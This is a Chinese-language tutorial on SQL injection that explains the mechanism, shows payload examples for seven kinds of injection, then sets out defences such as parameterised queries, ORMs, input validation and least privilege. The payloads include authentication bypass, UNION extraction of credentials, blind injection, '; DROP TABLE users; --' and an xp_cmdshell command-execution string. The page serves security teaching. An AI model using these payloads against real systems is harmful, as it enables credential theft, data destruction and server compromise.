SQL 注入
SQL 注入(SQL Injection)是一种常见的网络攻击手段,攻击者通过在输入字段或请求中注入恶意的 SQL 语句,操控数据库执行意图之外的操作。
其目标通常是:
- 窃取敏感数据
- 绕过身份验证
- 修改、删除数据库内容
- 执行系统命令等
SQL 注入的工作原理
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输入验证不足:当Web应用程序没有正确验证用户输入时,攻击者可以在输入字段中插入SQL代码。
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拼接SQL语句:应用程序后端通常将用户输入与SQL查询拼接在一起,形成完整的数据库查询语句。
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执行恶意SQL:如果应用程序没有对输入进行适当的清理或转义,恶意SQL代码将被数据库服务器执行。
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数据泄露或破坏:攻击者可以利用SQL注入来查询、修改或删除数据库中的数据,或者执行数据库管理系统的系统命令。
正常查询
当用户登录网站时,通常会输入用户名和密码。
以下是一段正常的 SQL 查询代码:
SELECT * FROM users WHERE username = 'user1' AND password = 'password1';
注入攻击
如果攻击者输入:
用户名: admin' -- 密码: anything
SQL 查询变成:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';
其中 -- 是 SQL 的注释符号,忽略了密码条件,直接绕过了身份验证。
常见 SQL 注入
1、基础型 SQL 注入
直接将恶意 SQL 代码嵌入用户输入中,并影响查询逻辑。
输入用户名:admin' OR '1'='1 输入密码:anything
执行的 SQL 查询:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';
结果:
OR '1'='1' 总为 true,可以绕过验证。
2、UNION 查询注入
通过 UNION 将攻击者构造的查询结果与合法查询结果合并,从而获取敏感数据。
输入:
' UNION SELECT null, username, password FROM users --
执行的 SQL 查询:
SELECT id, name FROM products WHERE id = '' UNION SELECT null, username, password FROM users --';
结果:
将 users 表的 username 和 password 数据作为结果返回。
3、错误型 SQL 注入
通过故意触发数据库错误,利用错误信息推测表名、列名或数据。
输入:
' AND 1=CONVERT(int, (SELECT @@version)) --
执行的 SQL 查询:
SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --';
结果:
错误信息可能暴露数据库版本或其他信息。
4、盲注
无法直接获取查询结果,攻击者通过判断返回页面的响应(如布尔值或时间延迟)来逐步推测数据。
布尔型盲注,输入:
' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --
执行的 SQL 查询:
SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --';
结果:
根据返回结果判断数据库名首字母是否为 t。
时间盲注,输入:
' AND IF(1=1, SLEEP(5), 0) --
执行的 SQL 查询:
SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) --';
结果:
如果条件成立,服务器会延迟 5 秒响应,从而泄露信息。
5、堆叠查询注入
允许多条 SQL 语句同时执行。
输入:
'; DROP TABLE users; --
执行的 SQL 查询:
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';
结果:
users 表被删除。
某些数据库(如 MySQL)默认不支持多语句执行。
6、存储过程注入
利用存储过程的输入参数注入恶意 SQL。
输入:
'; EXEC xp_cmdshell('dir'); --
执行的 SQL:
EXEC LoginProcedure 'username', ''; EXEC xp_cmdshell('dir'); --'
结果:
执行系统命令(如列出目录)。
7、Cookie 注入
利用修改浏览器存储的 Cookie 值进行注入。
Cookie: session_id=' OR '1'='1;
服务器在解析 Cookie 时执行了恶意 SQL。
SQL 注入的危害
- 数据泄露: 攻击者获取数据库中的用户名、密码、银行卡号等敏感信息。
- 权限提升: 攻击者可能通过注入命令获得更高的访问权限。
- 数据篡改: 数据库内容被修改或删除。
- 服务中断: 恶意 SQL 代码可能导致数据库崩溃,影响系统可用性。
- 执行系统命令: 通过数据库扩展功能,攻击者可能直接操作操作系统。
防范措施
1、参数化查询和预编译语句
使用参数化查询或预编译语句,将用户输入与 SQL 语句分离,避免用户输入被直接解析为 SQL 代码。
Java 代码:
实例
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
Node.js (MySQL 模块):
实例
connection.query(query, [username, password], (err, results) => {
if (err) throw err;
// Handle results
});
2、使用 ORM 框架
核心思路 ORM(如 Hibernate、Sequelize 等)通过自动生成 SQL 查询,大幅减少手动拼接 SQL 的机会,从而避免注入。
// 使用 Sequelize const user = await User.findOne({ where: { username: 'admin', password: 'password123' } });
3、输入验证
严格检查用户输入是否符合预期,拒绝不符合规则的输入。
对用户名、邮箱等使用正则表达式,数值类型字段只允许数字输入。
对特殊字符进行转义(如 " 转为 \")。
const username = req.body.username.replace(/[^a-zA-Z0-9]/g, ''); // 清理特殊字符
4、限制数据库权限
为数据库用户分配最小权限,只允许执行必要的操作。
- 限制写入权限:只允许插入、更新的用户操作对应的表,不允许 DROP、ALTER 等高危操作。
- 分离读写权限:使用只读账号访问数据库。
创建一个只读用户:
CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'secure_password'; GRANT SELECT ON database_name.* TO 'readonly_user'@'%';
定期安全测试
通过安全扫描工具或手动测试,定期检查代码中的潜在 SQL 注入漏洞。
我们可以使用开源工具 SQLMap 来测试。
SQLMap 是一个专门用于自动化进行 SQL 注入检测和利用的渗透测试工具。
SQLMap 广泛应用于网络安全评估和渗透测试中,帮助发现和修复SQL注入漏洞。
SQL 官方地址:https://sqlmap.org/
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SQLMap 开源地址:https://github.com/sqlmapproject/sqlmap
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